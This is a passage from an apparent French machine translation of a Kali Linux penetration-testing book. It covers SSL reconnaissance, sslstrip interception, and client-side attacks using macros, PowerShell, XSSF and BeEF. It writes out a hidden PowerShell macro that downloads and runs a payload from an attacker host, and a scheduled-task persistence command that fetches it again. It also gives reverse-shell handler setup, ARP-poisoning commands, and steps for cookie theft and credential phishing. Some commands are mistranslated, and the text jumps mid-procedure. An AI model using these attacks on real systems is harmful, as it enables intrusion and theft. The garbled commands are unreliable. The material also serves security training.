ingénierie. Plus fréquemment, un testeur ou un attaquant souhaite déterminer si le certificat est valide ou non. Les certificats non valides peuvent résulter d'une erreur lors de la vérification du signature, une chaîne de certificats rompue, le domaine spécifié dans le certificat ne correspondent au système, ou le certificat a expiré, a été révoqué ou est connu pour avoir été compromis. Si un utilisateur a précédemment accepté un certificat invalide, il acceptera très probablement un nouveau certificat invalide, ce qui facilite considérablement le travail de l'attaquant. Le type de cryptage utilisé pour sécuriser une connexion SSL est particulièrement important. Les chiffrements de chiffrement sont divisés dans les catégories suivantes : • Chiffres nuls : Ces chiffres sont utilisés pour vérifier l'authenticité et/ou l'intégrité d'une transmission. Comme aucun cryptage n'est appliqué, ils ne n'offre aucune sécurité. • Chiffres faibles : c'est un terme utilisé pour décrire tous les chiffrements avec une clé longueur de 128 bits ou moins. Chiffres qui utilisent l' algorithme Diffie-Hellman pour un échange de clés peut également être considéré comme faible car il est vulnérable aux attaques de l'homme du milieu. L'utilisation de hachages MD5 peut être considérée comme faible en raison d'attaques par collision. Enfin, les récentes attaques contre RC4 ont également a remis en cause son utilisation continue.
• Chiffres forts : Ce sont les chiffrements qui dépassent 128 bits. Présentement, l'option acceptée et la plus sûre est le cryptage AES avec une clé de 256 bits. Si possible, il doit être utilisé avec le mode Galois/Compteur, un chiffrement par bloc qui prend en charge à la fois l'authentification et le cryptage. Page 287
Exploiter les communications d'accès à distance [ 270 ] SSL et TLS reposent sur des suites de chiffrement (combinaisons spécifiques d'authentification, chiffrement et algorithmes de code d'authentification de message) pour établir la sécurité paramètres pour chaque connexion. Il existe plus de 30 suites de ce type et la complexité de sélectionner la meilleure option pour chaque exigence de sécurité conduit fréquemment les utilisateurs par défaut des options moins sécurisées. Par conséquent, chaque connexion SSL et TLC doit être minutieusement testé. Pour effectuer une reconnaissance par rapport aux connexions SSL, utilisez les modules NSE de nmap ou des applications spécifiques à SSL. Les modules nmap NSE sont décrits dans le tableau suivant. Nmap module NSE Fonction du module SSL-cert Récupère le certificat SSL d'un serveur. La quantité d'informations renvoyé dépend du niveau de verbosité (aucun, -v et -vv). date-ssl Récupère la date et l'heure d'un hôte cible à partir de son TLS
Réponse ServerHello. chiffrements-ssl-enum Initie à plusieurs reprises les connexions SSL et TLS, à chaque fois essayer un nouveau chiffrement et enregistrer si l'hôte accepte ou le rejette. Les chiffres sont affichés avec un taux de force. C'est un scan hautement intrusif, et peut être bloqué par la cible. SSL-google-certcatalogue Interroge le catalogue de certificats de Google pour plus d'informations qui se rapporte au certificat SSL récupéré de la cible. Il fournit des informations sur la date à laquelle et pour combien de temps, Google est au courant du certificat. Si un certificat est non reconnu par Google, il peut être suspect/faux. clé-ssl-connue Vérifie si le certificat SSL utilisé par un hôte a un empreinte qui correspond à une base de données de données compromises ou clés défectueuses. Actuellement, il utilise la base de données LittleBlackBox. Cependant, n'importe quelle base de données d'empreintes digitales peut être utilisée. sslv2 Détermine si le serveur prend en charge l'obsolète et moins SSL sécurisé version 2 et quels chiffrements sont pris en charge. Pour appeler un seul script à partir de la ligne de commande, utilisez la commande suivante : root@kali:~# nmap --script -p 443
Chapitre 10
Page 288
[ 271 ] Dans l'exemple suivant, le script ssl-cert a été appelé avec l' option -vv pour verbosité maximale. Les données de ce script sont affichées dans la capture d'écran suivante : Pendant la reconnaissance, un testeur peut choisir de lancer tous les modules spécifiques à la SLL en utilisant la commande suivante : root@kali:~# nmap --script "ssl*" Les outils de reconnaissance et d'attaque de Kali spécifiques à SSL et TLS peuvent être invoqué à partir de la ligne de commande ou sélectionné dans le menu en naviguant vers Kali Linux | Collecte d'informations | Analyse SSL . Les outils sont résumés dans le tableau suivant : Outil Fonction sslcaudit Automatise les tests des clients SSL et TLS pour déterminer la résistance contre les attaques de l'homme du milieu. ssldump Effectue une analyse du protocole réseau des communications SSLv3 et TLS. S'il est fourni avec la clé de cryptage appropriée, il décryptera SSL trafic et l'afficher en clair. sslscan Interroge les services SSL pour déterminer quels chiffrements sont pris en charge. Sortir inclut les chiffrements SSL préférés et s'affiche dans format texte et XML. sslsniff
Active les conditions d'attaque de l'homme du milieu sur toutes les connexions SSL sur un LAN particulier, générant dynamiquement des certificats pour le domaines auxquels on accède à la volée. Page 289
Exploiter les communications d'accès à distance [ 272 ] Outil Fonction sslsplit Effectue des attaques de type man-in-the-middle contre les réseaux SSL et TLS. Les connexions sont interceptées de manière transparente via une adresse réseau moteur de traduction et redirigé vers sslsplit, qui se termine la connexion d'origine et initie une nouvelle connexion à l'original destination tout en enregistrant toutes les données transmises. Il supporte la plaine TCP, SSL, HTTP/HTTP et IPv4 et IPv6. sslstrip Conçu pour détourner de manière transparente le trafic HTTP sur un réseau, surveillez Liens HTTPS, puis redirigez puis mappez ces liens vers du HTTP falsifié ou Liens HTTPS. Il prend également en charge les modes pour fournir un favicon qui ressemble à un icône de verrouillage ainsi que la journalisation sélective des communications interceptées. slyze Analyse la configuration SSL d'un serveur. tlssled
Unifie l'utilisation et la sortie de plusieurs autres applications spécifiques à SSL, vérifie la force de cryptage, les paramètres de certificat et la renégociation capacités. Le programme le plus couramment utilisé est sslscan , qui interroge les services SSL dans afin de déterminer les détails du certificat et les chiffrements pris en charge. La sortie est aux formats texte et XML. Lors du test d'une connexion particulière, utilisez l' option --nofailed , comme indiqué dans le capture d'écran suivante, pour que sslscan affiche uniquement les suites de chiffrement acceptées. Page 290
Chapitre 10 [ 273 ] L' outil python sslyze analyse la configuration SSL d'un serveur et valide le certificat, teste les suites de chiffrement faibles et identifie la configuration informations susceptibles de supporter des attaques supplémentaires. Dans l'exemple de sortie, illustré dans la capture d'écran suivante, il a identifié une incompatibilité de certificat qui pourrait prendre en charge certains types d'attaques. Un autre outil de reconnaissance SSL est tlssled , comme illustré dans la capture d'écran suivante. Il est très rapide, simple à utiliser et la sortie est conviviale.
Exploiter les communications d'accès à distance [ 274 ]
Page 291
Quelle que soit l'approche que vous utilisez pour la reconnaissance SSL, assurez-vous que vous valider vos résultats en exécutant au moins deux outils différents. De plus, tous ne Les appareils configurés SSL seront en ligne en même temps. Ainsi, sur les grands réseaux, assurez-vous que vous recherchez les vulnérabilités SSL plusieurs fois au cours de les tests. Un nouvel outil qui émerge actuellement du développement est l'OWASP O-Saft (www.owasp.org/index.php/O-Saft), qui fournit un aperçu complet de la configuration SSL, des chiffrements et données de certificat. Page 292
Chapitre 10 [ 275 ] Utiliser sslstrip pour effectuer un man-in-the-middle attaque Malgré la sécurité offerte par la protection SSL, il existe des attaques efficaces contre le protocole. En 2009, Moxie Marlinspike a fait la démonstration de sslstrip , un outil qui détourne de manière transparente le trafic HTTP sur un réseau et redirige le trafic pour regarder comme les liens HTTP ou HTTPS. Il supprime la protection SSL et renvoie le verrou sécurisé sur le navigateur de la victime afin que l'interception ne puisse pas être facilement détectée. En bref, sslstrip lance une attaque man-in-the-middle contre SSL, permettant au des données préalablement sécurisées à intercepter. Pour utiliser sslstrip , vous devez d'abord configurer le système d'interception dans le transfert
mode à l'aide de la commande suivante : root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward Ensuite, configurez le pare-feu iptables pour rediriger le trafic HTTP vers sslstrip en utilisant le commande suivante : root@kali:~# iptables –t nat –A PREROUTING –p tcp –destination-port 80 –j REDIRECT –to-port utiliser exploit/multi/handler msf>définir l'hôte 192.168.43.130 msf>définir lport 4444 msf> définir la charge utile windows/meterpreter/reverse_tcp msf>set autorunscript migrate -n explorer.exe msf > exploiter Lorsque le fichier est envoyé à la cible, il lance un avertissement de sécurité contextuel lorsqu'il est ouvert; par conséquent, les attaquants utiliseront l'ingénierie sociale pour forcer la victime visée à sélectionnez l' option Activer . L'une des méthodes les plus courantes pour ce faire consiste à intégrer le macro dans un document Microsoft Word ou une feuille de calcul Excel qui a été configurée jouer à un jeu. Le lancement du document créera un shell TCP inversé vers l'attaquant, permettant à l'attaquant d'assurer une connexion persistante avec la cible et de conduire activités post-exploitation. Pour étendre cette méthodologie d'attaque, nous pouvons convertir n'importe quel exécutable en VBScript en utilisant
exe2vba.rb situé dans /usr/share/metasploit-framework/tools . Page 306
Chapitre 11 [ 289 ] Par exemple, créez d'abord une porte dérobée à l'aide du framework Metasploit. Noter que X désigne que la porte dérobée sera créée en tant qu'exécutable ( attack.exe ), comme montré dans la capture d'écran suivante : Ensuite, exécutez exe2.vba pour convertir l'exécutable en VBScript en utilisant ce qui suit commande (assurez-vous que les chemins d'accès corrects sont utilisés) : # ruby exe2vba.rb attack.exe attack.vbs [*] Conversion de 73802 octets d'EXE en script VBA Cela permettra à l'exécutable d'être placé dans un document Microsoft prenant en charge les macros et envoyé à un client. VBScript peut être utilisé pour exécuter le shell inverse et pour modifier le registre système afin de s'assurer que le shell reste persistant. Nous avons trouvé les attaques de ce type sont l'un des moyens les plus efficaces de contourner la sécurité du réseau contrôle et maintient une connexion à un réseau sécurisé. Du point de vue d'un attaquant, l'utilisation de exploits basés sur VBScript (cela continue d'être un outil puissant). Cependant, son utilisation est rapidement remplacé par un langage de script plus puissant : PowerShell. Attaquer les systèmes à l'aide de Windows PowerShell Windows PowerShell est un shell de ligne de commande et un langage de script destinés
à utiliser pour l'administration du système. Basé sur le framework .NET, il étend le capacités qui étaient disponibles dans VBScript. Le langage luimême est assez extensible. Comme il est construit sur des bibliothèques .NET, vous pouvez incorporer du code à partir de langages tels que C# ou VB.NET. Vous pouvez également profiter de bibliothèques tierces. Malgré cela extensibilité, c'est un langage concis. VBScripts qui nécessitent plus de 100 lignes de le code peut être réduit à 10 lignes de PowerShell ! Peut-être que la meilleure caractéristique de PowerShell est qu'il est disponible par défaut sur la plupart des systèmes d'exploitation modernes basés sur Windows (Windows 7 et versions supérieures) et ne peut pas être supprimé. Page 307
Exploitation côté client [ 290 ] Nous utiliserons les scripts PowerShell inclus avec Metasploit Framework pour prendre en charge la phase d'attaque de la kill chain. Pour lancer l'attaque, nous utiliserons le module PowerShell Payload Web Delivery du Framework Metasploit. Le but de ce module est d'établir rapidement une session sur le système cible. L'attaque n'écrit pas sur le disque, c'est donc moins susceptible de déclencher la détection par l'antivirus côté client. Lancement de l'attaque et les options de module disponibles sont affichées dans la capture d'écran suivante : Le framework Metasploit générera une macro d'une ligne qui peut être intégrée dans
un document et utilisé pour lancer l'attaque, comme illustré dans l'exemple de code suivant : Sous-ouverture automatique() Appelez Shell ("PowerShell.exe -w caché -nop -ep bypass -c "" IEX ((nouvel-objet net.webclient).downloadstring('http://192.168.1.102:4444/b oom' ))"",1) Fin du sous-marin Avant que l'attaque ne soit terminée, l'attaquant doit préparer un écouteur pour le shell ( URIPATH a été généré aléatoirement par Metasploit ; assurez-vous que le bon URIPATH est défini pour l'auditeur). Les commandes pour créer un écouteur sont les suivantes : msf> utiliser exploit/windows/misc/psh_web_delivery msf exploit(psh_web_delivery)> définir SRVHOST 192.168.1.102 msf exploit(psh_web_delivery)> définir le boom URIPATH msf exploit(psh_web_delivery) > exploiter Page 308
Chapitre 11 [ 291 ] Une attaque réussie créera un shell interactif sur le système de l'attaquant. Il est possible de rendre psh_web_delivery persistant en utilisant le commande schtask. La commande suivante créera un tâche, MSOfficeMngmt, qui implémentera powershell.exe (par défaut, situé dans le répertoire Windows\system32) à la connexion : schtasks /create /tn MSOfficeMngmt /tr "powershell.exe -WindowsStyle masqué -NoLogo -NonInteractive
-ep -bypass -nop -c 'IEX ((nouveau-objet net.webclient).downloadstring (''http://192.168.1.104:4444/boom'''))'" /sc à l'ouverture de session /ru Système Des scripts PowerShell supplémentaires conçus pour prendre en charge les activités post-exploitation peuvent être trouvé dans le répertoire PowerSploit de Kali. Malgré la flexibilité de PowerShell, il a quelques inconvénients. Par exemple, si le document contenant la macro est fermé par l'utilisateur final avant un mécanisme de persistance peut être appliqué, la connexion est perdue. Plus important encore, les scripts tels que VBScript et PowerShell ne sont utiles que contre Environnements Microsoft. Pour étendre la portée des attaques côté client, nous devons rechercher une vulnérabilité côté client commune qui peut être exploitée indépendamment de sa environnement du système d'exploitation. Un exemple particulier d'une telle vulnérabilité est script inter-sites. Le framework de script inter-sites Les vulnérabilités de type Cross-Site Scripting ( XSS ) seraient les plus courantes vulnérabilités exploitables trouvées dans les sites Web. On estime qu'ils sont présent dans jusqu'à 80 pour cent de toutes les applications. Les vulnérabilités XSS surviennent lorsqu'une application, généralement basée sur le Web, viole les concept de confiance connu sous le nom de politique de même origine et affiche un contenu qui a été fourni par un utilisateur qui n'a pas été désinfecté pour supprimer les déclarations malveillantes.
Il y a au moins deux principaux types de vulnérabilités XSS: non persistant et persistant . Le type le plus courant est celui des vulnérabilités non persistantes ou réfléchies. Ceux-ci se produisent lorsque les données fournies par le client sont utilisées immédiatement par le serveur pour afficher une réponse. Une attaque de cette vulnérabilité peut se produire via un email ou un site Web tiers fournissant une URL qui semble faire référence à un site Web de confiance mais qui contient le code d'attaque XSS. Si le site de confiance est vulnérable à cette attaque particulière, l'exécution du lien peut provoquer le navigateur de la victime pour exécuter un script hostile pouvant conduire à un compromis. Page 309
Exploitation côté client [ 292 ] Des vulnérabilités XSS persistantes (stockées) surviennent lorsque les données fournies par l'attaquant est enregistré par le serveur, puis est affiché en permanence sur les pages Web de confiance pour autres utilisateurs au cours de leur navigation. Cela se produit généralement avec en ligne les babillards électroniques et les blogs qui permettent aux utilisateurs de publier des messages au format HTML. Un l'attaquant peut placer un script hostile sur la page Web qui n'est pas visible pour les entrants utilisateurs, mais qui compromet les visiteurs qui accèdent aux pages concernées. Plusieurs outils existent sur Kali Linux pour trouver les vulnérabilités XSS, notamment xsser et divers scanners de vulnérabilité. Cependant, il existe des outils qui permettent à un testeur
d'exploiter pleinement une vulnérabilité XSS, démontrant la gravité de la faiblesse. Le Cross-Site Scripting Framework ( XSSF ) est un outil de sécurité multiplateforme qui exploite les vulnérabilités XSS pour créer un canal de communication avec la cible, prenant en charge les modules d'attaque qui incluent : • Effectuer la reconnaissance d'un navigateur cible (empreintes digitales et URL visitées), l'hôte cible (détection des machines virtuelles, obtention des informations système, clés de registre et clés sans fil) et le réseau interne. • Envoi d'un message d'alerte contextuel à la cible. Cette simple "attaque" peut être utilisé pour démontrer la vulnérabilité XSS, cependant, des alertes plus complexes peut imiter les invites de connexion et capturer les informations d'authentification de l'utilisateur. • Le vol de cookies permettant à un attaquant de se faire passer pour la cible. • Rediriger la cible pour afficher une autre page Web. Une page Web hostile peut télécharger automatiquement un exploit sur le système cible. • Chargement de fichiers PDF ou d'applets Java sur la cible, ou vol de données telles que Contenu de la carte SD à partir d'appareils mobiles Android. • Lancement d'attaques Metasploit, y compris browser_autopwn , ainsi que attaques par déni de service. • Lancer des attaques d'ingénierie sociale, y compris le vol de saisie semi-automatique, détournement de clics, Clippy, fausses mises à jour flash, phishing et tabnabbing. De plus, la fonction XSSF Tunnel permet à un attaquant de se faire passer pour la victime
et parcourir des sites Web à l'aide de leurs informations d'identification et de leur session. Cela peut être un moyen efficace méthode pour accéder à un intranet interne d'entreprise. L'API est bien documentée, ce qui permet de créer facilement de nouveaux modules d'attaque. Parce qu'elle est écrite en Ruby, l'API s'intègre au Framework Metasploit, permettant aux attaquants de lancer des attaques supplémentaires. Page 310
Chapitre 11 [ 293 ] Pour utiliser XSSF, il doit être installé et configuré pour supporter une attaque utilisant le Etapes suivantes: 1. XSSF n'est pas fourni avec Kali. Tout d'abord, l'utilisateur doit ouvrir une fenêtre de terminal et définissez le répertoire approprié à l'aide de la commande suivante : root@kali:~# cd /opt/metasploit/apps/pro/msf3 2. Installez XSSF à l'aide de la commande suivante : svn export http://xssf.googlecode.com/svn/trunk ./ --force Assurez-vous que vous utilisez svn export au lieu de svn checkout , car ce dernier La commande cassera les fichiers MSF svn existants. Un extrait d'une réussite l'installation est illustrée dans la capture d'écran suivante : 3. Depuis la console Metasploit Framework, chargez le plugin XSSF à l'aide du commande load xssf , comme illustré dans la capture d'écran suivante :
Page 311
Exploitation côté client [ 294 ] 4. Identifiez les commandes XSSF, comme illustré dans la capture d'écran suivante, en taper helpxssf : 5. Depuis la console, accédez aux URL associées au plugin à l'aide de la commande suivante : msf>xssf_urls L'exécution de la commande précédente est donnée dans la capture d'écran suivante, comme vous pouvez le voir, plusieurs URL sont identifiées : L'URL la plus importante est le serveur XSSF, qui se trouve sur l'hôte local. Plusieurs autres URL sont identifiées, notamment les suivantes : ° Injection XSS générique : C'est la cible que vous tentez pour amener la victime à cliquer ou à exécuter. Page 312
Chapitre 11 [ 295 ] ° Page de test XSSF : XSSF donne accès à une page de test locale qui est sensibles aux attaques XSS. Cela peut être utilisé pour valider les attaques et résultats avant de lancer les attaques lors des tests réels. ° XSSF Tunnel Proxy : XSSF permet à un attaquant de surfer en utilisant le l'identité d'un hôte compromis tout en conservant son identité de sécurité. °
Page des journaux XSSF : Cette page journalise les attaques et les informations reçues. Malheureusement, la page du journal fournit un arrière-plan très sombre, et il est difficile de voir les informations renvoyées. Lors des tests, nous avons généralement accéder aux informations du journal via la ligne de commande, qui est plus propre et peut être scénarisé. ° Page de statistiques XSSF . ° Page d'aide XSSF . Nous utiliserons l'application Web vulnérable, Mutillidae , pour démontrer que le XSSF. Mutillidae fait partie du projet Metasploitable, qui peut être téléchargé à partir de http://sourceforge.net/projects/metasploitable/ fichiers/Metasploitable2/ . Reportez-vous à l' annexe , Installation de Kali Linux pour les notes sur l'installation de cette cible vulnérable. 6. Une fois Mutillidae ouvert, accédez à la page du blog ; cette page est connue être vulnérable à XSS (vous pouvez utiliser un outil d'analyse de vulnérabilité contre Mutillidae pour identifier d'autres points d'insertion potentiels). Pour lancer l'attaque contre le client cible, ne saisissez pas une publication régulière dans le blog. Au lieu de cela, entrez des éléments de script qui contiennent l'URL cible et port :
La capture d'écran suivante montre l'emplacement du code d'attaque sur le la page de blog du site Web cible. Page 313
Exploitation côté client [ 296 ] Lorsqu'elle est saisie et que la victime clique sur Enregistrer l'entrée de blog , son système sera compromis. Depuis la console Metasploit Framework, le testeur peut obtenir des informations sur chaque victime en utilisant le xssf_victims et les commandes xssf_information . Lors de l'exécution de xssf_victims commande, des informations sur chaque victime sont affichées, comme indiqué dans la capture d'écran suivante : L'attaque XSS la plus courante à ce stade consiste à envoyer un bref et relativement inoffensif message ou alerte au client. En utilisant le framework Metasploit, cela peut être réalisé relativement simplement en entrant les commandes suivantes : msf > utiliser auxiliaire/xssf/public/misc/alert auxiliaire msf (alerte) > afficher les options Après avoir passé en revue les options, une alerte peut être envoyée rapidement depuis la ligne de commande, comme le montre la capture d'écran suivante :
Page 314
Chapitre 11 [ 297 ] La victime verra un message, comme illustré dans la capture d'écran suivante :
Généralement, la plupart des testeurs et leurs clients valident les scripts intersites à l'aide de tels messages d'alerte simples. Ceux-ci prouvent qu'une « vulnérabilité » existe. Cependant, les alertes simples manquent d'impact émotionnel. Souvent, ils identifient un vrai vulnérabilité, mais le client ne répond pas et n'arbitre pas la vulnérabilité car les messages d'alerte ne sont pas perçus comme une menace importante. Heureusement, XSSF permet testeurs pour « monter la barre » et démontrer des attaques plus sophistiquées et plus dangereuses. XSSF peut être utilisé pour voler des cookies en utilisant les commandes suivantes : msf> utiliser auxiliaire/xssf/public/misc/cookie msfauxillary(cookie) > afficher les options (assurez-vous que toutes les options nécessaires sont sélectionnées) msfauxillary(cookie) > exécuter Page 315
Exploitation côté client [ 298 ] L'exécution de la commande run est illustrée dans la capture d'écran suivante : Lorsque l'attaque est terminée, le cookie peut être trouvé en examinant les résultats sur la page des journaux XSSF ou directement depuis la ligne de commande à l'aide de la commande, comme montré dans la capture d'écran suivante : Certaines autres commandes utiles dans auxiliaire/xssf/public/misc incluent : • check_connected : Cette commande vérifie si la victime a ouvert tout site de réseautage social (Gmail, Facebook ou Twitter)
• csrf : Il lance une attaque de falsification de requêtes intersites • keylogger : Cette commande invoque un keylogger côté client • load_applet et load_pdf : ces commandes chargent des applets Java hostiles et PDF côté client et invoquez-les pour lancer des fichiers préconfigurés logiciel malveillant • redirect : Il redirige le client vers une page Web spécifiée • webcam_capture : Cette commande capture les images de la webcam du client Il s'agit d'une liste incomplète, mais elle montre dans quelle mesure l'outil a été développé. En outre, il existe des modules pour l'analyse et le lancement du réseau une attaque par déni de service, ainsi que certains modules pour assurer la persistance après une attaque est terminée. XSSF peut également être utilisé avec ettercap pour compromettre un réseau interne. Pour exemple, ettercap peut être utilisé pour remplacer les données par un lien vers le page malveillante en plaçant le code suivant dans un filtre nommé attack : if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "")) { Page 316
Chapitre 11 [ 299 ] replace("", " "); } }
Le script de filtrage doit ensuite être converti en un fichier binaire à l'aide de la commande suivante : etterfilter attack.filter –o attack.ef Pour lancer cette attaque contre tous les utilisateurs d'un réseau, exécutez ettercap avec le commande suivante : ettercap –T –q –F attaque.ef –M ARP // // XSSF, en particulier lorsqu'il est intégré au framework Metasploit, est un outil très puissant outil d'exploitation des vulnérabilités XSS. Cependant, une nouvelle star a récemment émergé qui peut vous aider à réaliser des attaques similaires : le Browser Exploitation Framework. Le cadre d'exploitation de Brower Du bœuf BeEF est un outil d'exploitation qui se concentre sur une application spécifique côté client : le navigateur Internet. BeEF permet à un attaquant d'injecter un code JavaScript dans un code HTML vulnérable en utilisant une attaque telle que XSS ou injection SQL. Ce code d'exploitation est connu sous le nom de hook . Un compromis est obtenu lorsque le hook est exécuté par le navigateur. Le navigateur ( zombie ) se reconnecte à l'application BeEF, qui sert les commandes JavaScript ou modules au navigateur. Les modules de BeEF effectuent des tâches telles que les suivantes : • Empreintes digitales et reconnaissance des navigateurs compromis. Ça peut aussi être utilisé comme une plate-forme pour évaluer la présence d'exploits et leur comportement sous différents navigateurs.
Notez que BeEF nous permet d'accrocher plusieurs navigateurs sur le même client, ainsi que plusieurs clients dans un domaine, puis gérer pendant les phases d'exploitation et de post-exploitation. • Empreinte digitale de l'hôte cible, y compris la présence de machines virtuelles. Page 317
Exploitation côté client [ 300 ] • Détection de logiciels sur le client (Internet Explorer uniquement) et obtention d'un liste des répertoires dans Program Files et Program Files (x86) répertoires. Cela peut identifier d'autres applications qui peuvent être exploitées pour consolider notre emprise sur le client. • Prendre des photos à l'aide de la webcam du système compromis ; ces photos ont un impact significatif dans les rapports. • Effectuer des recherches dans les fichiers de données de la victime et voler des données pouvant contenir des informations d'authentification (contenu du presse-papiers et cookies du navigateur) ou d'autres informations utiles. • Implémentation de la journalisation des frappes du navigateur. • Effectuer une reconnaissance du réseau à l'aide de balayages ping et d'empreintes digitales les appliances réseau et la recherche de ports ouverts. • Lancer des attaques depuis le Framework Metasploit. • Utilisation de l'extension proxy de tunneling pour attaquer le réseau interne à l'aide l'autorité de sécurité du navigateur Web compromis. Étant donné que BeEF est écrit en Ruby, il prend en charge plusieurs systèmes d'exploitation (Linux,
Windows et OS X). Plus important encore, il est facile de personnaliser de nouveaux modules dans BeEF et étendre ses fonctionnalités. Installation et configuration du navigateur Cadre d'exploitation BeEF ne fait pas partie de la distribution Kali, cependant, il a été emballé avec dépendances requises pour prendre en charge l'installation automatisée dans Kali. Pour installer BeEF, utilisez la commande suivante : root@kali:~# apt-get install boeuf-xss BeEF sera installé dans le répertoire /usr/share/beef-xss . Par défaut, ce n'est pas intégré au framework Metasploit. Pour intégrer BeEF, vous devrez effectuez les étapes suivantes : 1. Modifiez le fichier de configuration principal situé dans /usr/share/beef-xss/ config.yaml à lire : métasploit : activer:vrai Page 318
Chapitre 11 [ 301 ] 2. Modifiez le fichier situé dans /usr/share/beefxss/extensions/metasploit/ config.yml . Vous devez modifier les lignes host , callback_host et os 'personnalisé', chemin pour inclure votre adresse IP et l'emplacement du Metasploit Framework Un fichier config.yml correctement édité est affiché dans le capture d'écran suivante :
3. Démarrez msfconsole et chargez le module msgrpc , comme indiqué ci-dessous capture d'écran. Assurez-vous d'inclure également le mot de passe : 4. Démarrez BeEF à l'aide des commandes suivantes : root@kali:~# cd /usr/share/beef-xss/ root@kali:/usr/share/beef-xss/~# ./beef Page 319
Exploitation côté client [ 302 ] 5. Confirmez le démarrage en consultant les messages générés pendant le programme lancement. Ils doivent indiquer que Connexion réussie avec Metasploit s'est produit, qui sera accompagné d'une indication que Metasploit exploits ont été chargés. Un lancement de programme réussi est indiqué dans le capture d'écran suivante : Lorsque vous redémarrez BeEF, utilisez le commutateur -x pour réinitialiser la base de données. Dans cet exemple, le serveur BeEF s'exécute sur 192.168.222.129 et le "hook URL" (celui que nous voulons que la cible active) est 192.168.222.129:80/hook.js . La majeure partie de l'administration et de la gestion de BeEF se fait via l'interface Web. Pour accéder au panneau de configuration, accédez à http://:3000/ui/panel . Les identifiants de connexion par défaut sont Nom d'utilisateur:beef et Mot de passe:beef , comme indiqué dans la capture d'écran suivante, à moins qu'elles n'aient été modifiées dans config.yaml .
Page 320
Chapitre 11 [ 303 ] Présentation du navigateur BeEF Lorsque le panneau de contrôle BeEF est lancé, il présentera la mise en route écran, comportant des liens vers le site en ligne ainsi que les pages de démonstration qui peut être utilisé pour valider les différentes attaques. Le panneau de commande BeEF est affiché dans la capture d'écran suivante :
Page 321
Exploitation côté client [ 304 ] Si vous avez accroché une victime, l'interface sera divisée en deux panneaux : • Sur le côté gauche du panneau, Hooked Browsers , le testeur peut voir chaque navigateur connecté répertorié avec des informations sur le fonctionnement de son hôte système, type de navigateur, adresse IP et plugins installés. Parce que BeEF définit un cookie pour identifier les victimes, il peut se référer à ces informations et maintenir un liste cohérente de victimes. • Le côté droit du panneau est l'endroit où toutes les actions sont lancées et les résultats sont obtenus. Dans l' onglet Commandes , nous voyons un référentiel catégorisé des différents vecteurs d'attaque pouvant être utilisés contre les navigateurs hookés. Cette La vue sera différente en fonction du type et de la version de chaque navigateur.
BeEF utilise un schéma de codage couleur pour caractériser les commandes sur la base de leur l'utilisabilité contre une cible particulière. Les couleurs utilisées sont les suivantes : • Vert : Ceci indique que le module de commande fonctionne contre la cible et doit être détecté par la victime • Orange : Ceci indique que le module de commande travaille contre la cible, mais il peut être détecté par la victime • Gris : Ceci indique que le module de commande n'est pas encore vérifié par rapport la cible • Rouge : Ceci indique que le module de commande ne fonctionne pas contre le cible. Il peut être utilisé, mais son succès n'est pas garanti, et son utilisation peut être détecté par la cible Prenez ces indicateurs avec précaution car les variations de l'environnement client peut rendre certaines commandes inefficaces ou provoquer d'autres résultats inattendus. Pour lancer une attaque ou accrocher une victime, nous devons amener l'utilisateur à cliquer sur l'URL du crochet, qui prend la forme de :/hook.js . Ceci peut être réalisé en utilisant divers moyens, dont : • Les vulnérabilités XSS d'origine • Attaques man-in-the-middle (en particulier celles utilisant BeEF Shank , un ARP outil d'usurpation qui cible spécifiquement les sites intranet sur les réseaux internes) • Attaques d'ingénierie sociale, y compris le cloneur Web BeEF et l'e-mail de masse,
point d'accrochage personnalisé avec emprunt d'identité iFrame, ou le générateur de code QR Une fois que le navigateur a été accroché, il est appelé zombie. Sélectionnez l'adresse IP du zombie depuis le panneau Hooked Browsers sur le côté gauche de la commande l'interface, puis reportez-vous aux commandes disponibles. Page 322
Chapitre 11 [ 305 ] Dans cet exemple montré dans la capture d'écran suivante, il existe plusieurs attaques différentes et les options de gestion disponibles pour le navigateur accroché. L'une des attaques les plus faciles options à utiliser est l'attaque Clippy d'ingénierie sociale. Lorsque Clippy est sélectionné dans l' arborescence des modules sous Commandes , un Clippy spécifique panneau est lancé à l'extrême droite, comme le montre la capture d'écran suivante. Il permet à vous de régler l'image, le texte livré, et l'exécutable qui sera lancé localement si la victime clique sur le lien fourni. Par défaut, le texte personnalisé informe la victime que son navigateur est obsolète, lui propose de le mettre à jour pour elle, télécharge un exécutable (non malveillant), puis remercie l'utilisateur d'avoir effectué la mise à niveau. Toutes ces options peuvent être modifiées par le testeur.
Page 323
Exploitation côté client [ 306 ] Lorsque Clippy est exécuté, la victime verra un message comme indiqué ci-dessous
capture d'écran sur leur navigateur : Cela peut être une attaque d'ingénierie sociale très efficace. Lors des tests avec les clients, nous avons eu des taux de réussite (le client a téléchargé un fichier indicateur non malveillant) d'environ 70 pour cent. Le module d'invite fonctionne de manière similaire. Au lieu d'envoyer une simple alerte au navigateur de la victime, il envoie une demande de notification invitant la victime à entrer des données. Dans de nombreux cas, si la victime est invitée à fournir des données non définies, elle ressaisir automatiquement son mot de passe. L'invite peut demander des données spécifiques, ou elle peut être utilisé pour diriger la victime vers un site Web pour télécharger un correctif système qui contient malware. La capture d'écran suivante montre l'un des plus simples et des plus efficaces attaques pour obtenir le mot de passe d'un utilisateur. Page 324
Chapitre 11 [ 307 ] L'une des attaques les plus intéressantes est Pretty Theft, qui demande aux utilisateurs leur nom d'utilisateur et mot de passe pour les sites populaires. Par exemple, l'option Pretty Theft pour Facebook peut être configuré par le testeur, comme le montre la capture d'écran suivante : Lorsque l'attaque est exécutée, la victime est présentée avec une fenêtre contextuelle qui semble être légitime, comme le montre la capture d'écran suivante :
Exploitation côté client
Page 325
